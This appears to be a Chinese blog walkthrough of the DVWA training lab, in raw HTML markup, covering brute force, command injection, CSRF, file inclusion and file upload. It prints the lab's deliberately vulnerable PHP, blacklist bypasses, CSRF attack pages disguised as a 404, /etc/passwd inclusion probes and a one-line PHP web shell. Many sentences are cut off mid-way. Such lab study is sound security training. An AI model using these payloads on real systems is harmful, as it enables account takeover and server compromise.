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WEB安全的START
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< h1 id = "搭建环境" > < a href = "#搭建环境" class = "headerlink" title = "搭建环境" > < / a > 搭建环境< / h1 > < p > 最好使用docker来搭建， < a href = "https://hub.docker.com/r/vulnerables/web-dvwa/" target = "_blank" rel = "noopener" > https://hub.docker.com/r/vulnerables/web-dvwa/< / a > < / p >
< h1 id = "暴力破解" > < a href = "#暴力破解" class = "headerlink" title = "暴力破解" > < / a > 暴力破解< / h1 > < h2 id = "easy模式" > < a href = "#easy模式" class = "headerlink" title = "easy模式" > < / a > easy模式< / h2 > < blockquote >
< p > 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。< br > 用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词， ， （ ） ， （ ， ， ） < br > 创建针对目标生成的目标单词列表通常会提供最高的成功率。有一些公共工具可以根据公司网站，个人社交网络和其他常见信息（如生日或毕业年份）的组合创建字典。< br > 最后一种方法是尝试所有可能的密码，称为暴力攻击。从理论上讲，如果尝试次数没有限制，那么暴力攻击将永远是成功的，因为可接受密码的规则必须是公开的;但随着密码长度的增加，可能的密码数量也越来越长。< / p >
< / blockquote >
< p > 使用burpsuite可破之， ， < br > 使用Burp suite通过置一个web 浏览器使用其代理服务器< br > < figure class = "highlight php" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < / span > < br > < span class = "line" > < span class = "meta" > < ?php< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > ( < span class = "keyword" > isset< / span > ( $_GET[ < span class = "string" > 'Login'< / span > ] ) ) { < / span > < br > < span class = "line" > < span class = "comment" > // Get username< / span > < / span > < br > < span class = "line" > $user = $_GET[ < span class = "string" > 'username'< / span > ];< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Get password< / span > < / span > < br > < span class = "line" > $pass = $_GET[ < span class = "string" > 'password'< / span > ];< / span > < br > < span class = "line" > $pass = md5( $pass );< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Check the database< / span > < / span > < br > < span class = "line" > $query = < span class = "string" > "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"< / span > ;< / span > < br > < span class = "line" > $result = mysqli_query($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ], $query ) < span class = "keyword" > or< / span > < span class = "keyword" > die< / span > ( < span class = "string" > '< pre> '< / span > . ((is_object($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ])) ? mysqli_error($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : < span class = "keyword" > false< / span > )) . < span class = "string" > '< /pre> '< / span > );< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > ( $result & & mysqli_num_rows( $result ) == < span class = "number" > 1< / span > ) { < / span > < br > < span class = "line" > < span class = "comment" > // Get users details< / span > < / span > < br > < span class = "line" > $row = mysqli_fetch_assoc( $result );< / span > < br > < span class = "line" > $avatar = $row[< span class = "string" > "avatar"< / span > ];< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Login successful< / span > < / span > < br > < span class = "line" > < span class = "keyword" > echo< / span > < span class = "string" > "< p> Welcome to the password protected area { $user} < /p> "< / span > ;< / span > < br > < span class = "line" > < span class = "keyword" > echo< / span > < span class = "string" > "< img src=\"{ $avatar} \" /> "< / span > ;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < span class = "keyword" > else< / span > { < / span > < br > < span class = "line" > < span class = "comment" > // Login failed< / span > < / span > < br > < span class = "line" > < span class = "keyword" > echo< / span > < span class = "string" > "< pre> < br /> Username and/or password incorrect.< /pre> "< / span > ;< / span > < br > < span class = "line" > } < / span > < br > <
< p > < strong > PHP $_GET 变量< / strong > < br > 在 PHP 中，预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。< / p >
< p > < strong > $_GET 变量< / strong > < br > 预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。< br > 从带有 GET 方法的表单发送的信息，< strong > 对任何人都是可见的< / strong > （会显示在浏览器的地址栏），并且对发送信息的量也有限制。< / p >
< p > < strong > 何时使用 method=”get”？ < / strong > < br > 在 HTML 表单中使用 method=”get” 时，所有的变量名和值都会显示在 URL 中。< br > 所以在发送密码或其他敏感信息时，不应该使用这个方法！< br > 然而，正因为变量显示在 URL 中，因此可以在收藏夹中收藏该页面。在某些情况下，这是很有用的。< br > HTTP GET 方法不适合大型的变量值。它的值是不能超过 2000 个字符的。< / p >
< figure class = "highlight html" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > GET /vulnerabilities/brute/?username=admin123& password=123& Login=Login HTTP/1.1< / span > < br > < span class = "line" > Host: 192.168.31.84:81< / span > < br > < span class = "line" > Proxy-Connection: keep-alive< / span > < br > < span class = "line" > Upgrade-Insecure-Requests: 1< / span > < br > < span class = "line" > User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36< / span > < br > < span class = "line" > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3< / span > < br > < span class = "line" > Referer: http://192.168.31.84:81/vulnerabilities/brute/< / span > < br > < span class = "line" > Accept-Encoding: gzip, deflate< / span > < br > < span class = "line" > Accept-Language: zh-CN,zh;q=0.9,en;q=0.8< / span > < br > < span class = "line" > Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 我们可以看到username和password是以明文出现， < / p >
< p > 将请求进行提交到intruder模块， < br > 点击Start attack~然后就根据对面返回包的大小， ， ’ ’ < / p >
< h2 id = "medium模式" > < a href = "#medium模式" class = "headerlink" title = "medium模式" > < / a > medium模式< / h2 > < p > 代码与前面相比只是多了要用mysqli_real_escape_string函数进行验证， ， ’ < / p >
< h1 id = "命令执行" > < a href = "#命令执行" class = "headerlink" title = "命令执行" > < / a > 命令执行< / h1 > < h2 id = "easy模式-1" > < a href = "#easy模式-1" class = "headerlink" title = "easy模式" > < / a > easy模式< / h2 > < blockquote >
< p > 命令注入攻击的目的是在易受攻击的应用程序中注入和执行攻击者指定的命令。在这种情况下， ， ， < / p >
< p > 在大多数情况下， ， ， （ ， ， ） < / p >
< p > 操作系统（ ） （ ） ， < / p >
< p > 此攻击也可称为“远程命令执行（ ） < / p >
< / blockquote >
< figure class = "highlight php" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > < ?php< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > ( < span class = "keyword" > isset< / span > ( $_POST[ < span class = "string" > 'Submit'< / span > ] ) ) { < / span > < br > < span class = "line" > < span class = "comment" > // Get input< / span > < / span > < br > < span class = "line" > $target = $_REQUEST[ < span class = "string" > 'ip'< / span > ];< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Determine OS and execute the ping command.< / span > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > ( stristr( php_uname( < span class = "string" > 's'< / span > ), < span class = "string" > 'Windows NT'< / span > ) ) { < / span > < br > < span class = "line" > < span class = "comment" > // Windows< / span > < / span > < br > < span class = "line" > $cmd = shell_exec( < span class = "string" > 'ping '< / span > . $target );< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < span class = "keyword" > else< / span > { < / span > < br > < span class = "line" > < span class = "comment" > // *nix< / span > < / span > < br > < span class = "line" > $cmd = shell_exec( < span class = "string" > 'ping -c 4 '< / span > . $target );< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Feedback for the end user< / span > < / span > < br > < span class = "line" > < span class = "keyword" > echo< / span > < span class = "string" > "< pre> { $cmd} < /pre> "< / span > ;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "meta" > ?> < / span > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 可见， ， ， < / p >
< blockquote >
< p > 管道符号， < br > 用法: command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2< / p >
< / blockquote >
< p > < strong > 任意命令执行漏洞修补办法< / strong > < br > 在写程序时尽量地使变量不能被用户所控制！且注意变量初始化的问题。< / p >
< p > 使用str_replace对“%”，”|”,“> ”进行替换< / p >
< p > 进入函数前判断变量是否合法。< / p >
< h2 id = "medium模式-1" > < a href = "#medium模式-1" class = "headerlink" title = "medium模式" > < / a > medium模式< / h2 > < p > 无非就是增加了一个黑名单 & & 和；，但还是可以用管道|和& < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > // Set blacklist< / span > < br > < span class = "line" > $substitutions = array(< / span > < br > < span class = "line" > ' & & ' => ' ' ,< / span > < br > < span class = "line" > ' ;' => ' ' ,< / span > < br > < span class = "line" > );< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 这里需要注意的是”& & ”与”& ”的区别：< br > Command 1& & Command 2< br > 先执行Command 1， ， < br > Command 1& Command 2< br > 先执行Command 1， ， < / p >
< p > 更聪明的做法是利用& ;& ，黑名单会将其转化为& & < / p >
< h1 id = "CSRF" > < a href = "#CSRF" class = "headerlink" title = "CSRF" > < / a > CSRF< / h1 > < h2 id = "easy模式-2" > < a href = "#easy模式-2" class = "headerlink" title = "easy模式" > < / a > easy模式< / h2 > < blockquote >
< p > CSRF跨站请求伪造是一种攻击， （ ） ， < br > 成功的CSRF利用可能会损害最终用户数据和普通用户的操作。如果目标最终用户是管理员帐户， < br > 此攻击也可称为“XSRF”， （ ） ， < br > 您的任务是让当前用户使用CSRF攻击更改自己的密码， < / p >
< / blockquote >
< figure class = "highlight php" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > < ?php< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > ( < span class = "keyword" > isset< / span > ( $_GET[ < span class = "string" > 'Change'< / span > ] ) ) { < / span > < br > < span class = "line" > < span class = "comment" > // Get input< / span > < / span > < br > < span class = "line" > $pass_new = $_GET[ < span class = "string" > 'password_new'< / span > ];< / span > < br > < span class = "line" > $pass_conf = $_GET[ < span class = "string" > 'password_conf'< / span > ];< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Do the passwords match?< / span > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > ( $pass_new == $pass_conf ) { < / span > < br > < span class = "line" > < span class = "comment" > // They do!< / span > < / span > < br > < span class = "line" > $pass_new = ((< span class = "keyword" > isset< / span > ($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ]) & & is_object($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ])) ? mysqli_real_escape_string($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ], $pass_new ) : ((trigger_error(< span class = "string" > "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."< / span > , E_USER_ERROR)) ? < span class = "string" > ""< / span > : < span class = "string" > ""< / span > ));< / span > < br > < span class = "line" > $pass_new = md5( $pass_new );< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Update the database< / span > < / span > < br > < span class = "line" > $insert = < span class = "string" > "UPDATE `users` SET password = '$pass_new' WHERE user = '"< / span > . dvwaCurrentUser() . < span class = "string" > "';"< / span > ;< / span > < br > < span class = "line" > $result = mysqli_query($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ], $insert ) < span class = "keyword" > or< / span > < span class = "keyword" > die< / span > ( < span class = "string" > '< pre> '< / span > . ((is_object($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ])) ? mysqli_error($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : < span class = "keyword" > false< / span > )) . < span class = "string" > '< /pre> '< / span > );< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Feedback for the user< / span > < / span > < br > < span class = "line" > < span class = "keyword" > echo< / span > < span class = "string" > "< pre> Password Changed.< /pre> "< / span > ;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < span class = "keyword" > else< / span > { < / span > < br > < span class = "line" > < span class = "comment" > // Issue with passwords matching< / span > < / span > < br > < span class = "line" > < span class = "keyword" > echo< / span > < span class = "string" > "< pre> Passwords did not match.< /pre> "< / span > ;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > ((is_null($___mysqli_res = mysqli_close($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ]))) ? < span
< p > 服务器通过GET方式接收修改密码的请求， ， ， ， （ ， ， ） < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > GET /vulnerabilities/csrf/?password_new=123& password_conf=123456& Change=Change HTTP/1.1< / span > < br > < span class = "line" > Host: 192.168.31.84:81< / span > < br > < span class = "line" > Upgrade-Insecure-Requests: 1< / span > < br > < span class = "line" > User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36< / span > < br > < span class = "line" > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3< / span > < br > < span class = "line" > Referer: http://192.168.31.84:81/vulnerabilities/csrf/?password_new=password& password_conf=123& Change=Change< / span > < br > < span class = "line" > Accept-Encoding: gzip, deflate< / span > < br > < span class = "line" > Accept-Language: zh-CN,zh;q=0.9,en;q=0.8< / span > < br > < span class = "line" > Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low< / span > < br > < span class = "line" > Connection: close< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 根据拦截的http请求， ， < br > < code > http://ip:port/vulnerabilities/csrf/?password_new=test& password_conf=test& Change=Change< / code > < / p >
< p > 更具隐藏性的方式：< br > 1.使用短链接来隐藏 URL： < br > 为了更加隐蔽，可以生成短网址链接，点击短链接，会自动跳转到真实网站：< br > < a href = "http://tinyurl.com/yd2gogtv" target = "_blank" rel = "noopener" > http://tinyurl.com/yd2gogtv< / a > < br > PS:提供一个短网址生成网站< br > 2.构造攻击页面：< / p >
< ul >
< li > 方式 1 通过img标签中的src属性来加载CSRF攻击利用的URL， ， < / li >
< li > 方式 2 查看页面html源代码， ， ， ， ， < figure class = "highlight html" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "tag" > < < span class = "name" > body< / span > < span class = "attr" > onload< / span > =< span class = "string" > "javascript:csrf()"< / span > > < / span > < / span > < br > < span class = "line" > < span class = "tag" > < < span class = "name" > script< / span > > < / span > < span class = "undefined" > < / span > < / span > < br > < span class = "line" > < span class = "undefined" > function csrf(){ < / span > < / span > < br > < span class = "line" > < span class = "undefined" > document.getElementById("button").click();< / span > < / span > < br > < span class = "line" > < span class = "undefined" > } < / span > < / span > < br > < span class = "line" > < span class = "undefined" > < / span > < span class = "tag" > < /< span class = "name" > script< / span > > < / span > < / span > < br > < span class = "line" > < span class = "tag" > < < span class = "name" > style< / span > > < / span > < span class = "undefined" > < / span > < / span > < br > < span class = "line" > < span class = "undefined" > form{ < / span > < / span > < br > < span class = "line" > < span class = "undefined" > display:none;< / span > < / span > < br > < span class = "line" > < span class = "undefined" > } < / span > < / span > < br > < span class = "line" > < span class = "undefined" > < / span > < span class = "tag" > < /< span class = "name" > style< / span > > < / span > < / span > < br > < span class = "line" > < span class = "tag" > < < span class = "name" > form< / span > < span class = "attr" > action< / span > =< span class = "string" > "http://www.dvwa.com/vulnerabilities/csrf/?"< / span > < span class = "attr" > method< / span > =< span class = "string" > "GET"< / span > > < / span > < / span > < br > < span class = "line" > New password:< span class = "tag" > < < span class = "name" > br< / span > /> < / span > < / span > < br > < span class = "line" > < span class = "tag" > < < span class = "name" > input< / span > < span class = "attr" > type< / span > =< span class = "string" > "password"< / span > < span class = "attr" > AUTOCOMPLETE< / span > =< span class = "string" > "off"< / span > < span class = "attr" > name< / span > =< span class = "string" > "password_new"< / span > < span class = "attr" > value< / span > =< span class = "string" > "test"< / span > > < / span > < span class = "tag" > < < span class = "name" > br< / span > /> < / span > < / span > < br > < span class = "line" > Confirm new password:< span class = "tag" > < < span class = "name" > br< / span > /> < / span > < / span > < br > < span class = "line" > < span class = "tag" > < < span class = "name" > input< / span > < span class = "attr" > type< / span > =< span class = "string" > "password"< / span > < span class = "attr" > AUTOCOMPLETE< / span > =< span class = "string" > "off"< / span > < span class = "attr" > name< / span > =< span class = "string" > "password_conf"< / span > < span class = "attr" > value< / span > =< span class = "string" > "test"< / span > > < / span > < span class = "tag" > < < span class = "name" > br< / span > /> < / span > < / span > < br > < span class = "line" > < span class = "tag" > < < span class = "name" > br< / span > /> < / span > < / span > < br > < span class = "line" > < span class = "tag" > < < span class = "name" > input< / span > < span class = "attr" > type< / span > =< span class = "string" > "submit"< / span > < span class = "attr" > id< / span > =< span class = "string" > "button"< / span > < span class = "attr" > name< / span > =< span class = "string" > "Change"< / span > < span class = "attr" > value< / span > =< span class = "string" > "Change"< / span > /> < / span > < / span > < br > < span class = "line" > < span class = "tag" > < /< span class = "name" > form< / span > & g
< / li >
< / ul >
< p > 构造攻击页面< / p >
< p > 现实攻击场景下， ， ， ， ， < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < img src=" http://192.168.31.84:81/vulnerabilities/csrf/?password_new=111& password_conf=111& Change=Change# border=" 0" style=" display:none;" /> < / span > < br > < span class = "line" > < h1> 404< /h1> < / span > < br > < span class = "line" > < h2> file not found.< /h2> < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 当受害者访问test.html时， ， ， < / p >
< h2 id = "medium模式-2" > < a href = "#medium模式-2" class = "headerlink" title = "medium模式" > < / a > medium模式< / h2 > < p > 检查 HTTP_REFERER（ ， ） （ ， ， ） < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > // Checks to see where the request came from< / span > < br > < span class = "line" > if( stripos( $_SERVER[ ' HTTP_REFERER' ] ,$_SERVER[ ' SERVER_NAME' ]) !== false ) { < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 想要通过验证， < br > 我们这需要把上面的攻击页面名字改成包含host就可以了。(把攻击页面放在服务器上)< / p >
< h1 id = "文件包含" > < a href = "#文件包含" class = "headerlink" title = "文件包含" > < / a > 文件包含< / h1 > < h2 id = "easy模式-3" > < a href = "#easy模式-3" class = "headerlink" title = "easy模式" > < / a > easy模式< / h2 > < p > 某些Web应用程序允许用户指定直接用于文件流的输入， ， ， < br > 如果选择要包含的文件在目标计算机上是本地的， （ ） ， （ ） < br > 当RFI不是一种选择时。使用LFI的另一个漏洞（ ） < br > 注意，术语“文件包含”与“任意文件访问”或“文件公开”不同。< br > 只使用文件包含来阅读’../hackable/flags/fi.php’ < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < ?php< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > // The page we wish to display< / span > < br > < span class = "line" > $file = $_GET[ ' page' ];< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > ?> < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< p > 文件包含漏洞的一般特征如下：< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > ?page=a.php< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > ?home=a.html< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > ?file=content< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 几种经典的测试方法：< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > ?file=../../../../../etc/passwdd< / span > < br > < span class = "line" > ?page=file:///etc/passwd< / span > < br > < span class = "line" > ?home=main.cgi< / span > < br > < span class = "line" > ?page=http://www.a.com/1.php< / span > < br > < span class = "line" > =http://1.1.1.1/../../../../dir/file.txt< / span > < br > < span class = "line" > （通过多个../可以让目录回到根目录中然后再进入目标目录）< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< h2 id = "medium模式-3" > < a href = "#medium模式-3" class = "headerlink" title = "medium模式" > < / a > medium模式< / h2 > < p > 增加对绝对路径http和相对路径的检查< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > // Input validation< / span > < br > < span class = "line" > $file = str_replace( array( " http://" , " https://" ), " " , $file );< / span > < br > < span class = "line" > $file = str_replace( array( " ../" , " ..\" " ), " " , $file );< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 但依然可以使用?page=file:///etc/passwd< br > 以及重复字符过滤方法,构造url< / p >
< ol >
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< li > 构造url为 httphttp:// – > http< / li >
< li > 构造url为 httphttp://:// – > http://< / li >
< li > 构造url为 …/./ – > ../< / li >
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< / ol >
< h1 id = "文件上传" > < a href = "#文件上传" class = "headerlink" title = "文件上传" > < / a > 文件上传< / h1 > < h2 id = "easy模式-4" > < a href = "#easy模式-4" class = "headerlink" title = "easy模式" > < / a > easy模式< / h2 > < blockquote >
< p > 上传的文件对Web应用程序构成重大风险。许多攻击的第一步是将一些代码提供给系统进行攻击。然后攻击者只需要找到一种方法来执行代码。使用文件上传有助于攻击者完成第一步。< br > 不受限制的文件上载的后果可能会有所不同，包括完整的系统接管，过载的文件系统，向后端系统转发攻击以及简单的污损。这取决于应用程序对上传文件的作用，包括存储位置。< br > 由于此文件上载漏洞， （ （ ） （ ） ） < / p >
< / blockquote >
< p > 一句话木马1.php文件： < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < ?php< / span > < br > < span class = "line" > echo shell_exec($_GET[' cmd' ]);< / span > < br > < span class = "line" > ?> < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< figure class = "highlight php" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > < ?php< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > ( < span class = "keyword" > isset< / span > ( $_POST[ < span class = "string" > 'Upload'< / span > ] ) ) { < / span > < br > < span class = "line" > < span class = "comment" > // Where are we going to be writing to?< / span > < / span > < br > < span class = "line" > $target_path = DVWA_WEB_PAGE_TO_ROOT . < span class = "string" > "hackable/uploads/"< / span > ;< / span > < br > < span class = "line" > $target_path .= basename( $_FILES[ < span class = "string" > 'uploaded'< / span > ][ < span class = "string" > 'name'< / span > ] );< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Can we move the file to the upload folder?< / span > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > ( !move_uploaded_file( $_FILES[ < span class = "string" > 'uploaded'< / span > ][ < span class = "string" > 'tmp_name'< / span > ], $target_path ) ) { < / span > < br > < span class = "line" > < span class = "comment" > // No< / span > < / span > < br 